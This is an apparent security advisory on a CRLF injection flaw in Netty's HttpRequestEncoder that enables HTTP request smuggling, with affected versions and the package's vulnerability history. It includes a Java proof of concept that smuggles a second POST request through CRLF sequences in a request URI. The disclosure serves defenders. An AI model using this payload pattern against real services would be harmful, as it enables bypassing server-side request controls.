Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | io.netty:netty-codec-http | >= 4.2.0.Alpha1, < 4.2.8.Final, < 4.1.129.Final | 4.2.8.Final, 4.1.129.Final |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N- Weakness (CWE)
CWE-93- Platform
- Java / Kotlin (Maven)
- Package
io.netty:netty-codec-http- Disclosed
- 15.12.2025
- Updated
- 11.10.2026 13:20
Sources and licenses
OSV / GitHub Advisory Database - GHSA-84h7-rjj3-6jx4 - CC BY 4.0
Vulnerability history: io.netty:netty-codec-http
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 24
- First → latest
- 02.2020 08.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 6
- Medium 16
- Low 1
Disclosures per year
- 2020: 1
- 2021: 2
- 2022: 2
- 2023: 0
- 2024: 1
- 2025: 2
- 2026: 16
-
Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder this entry
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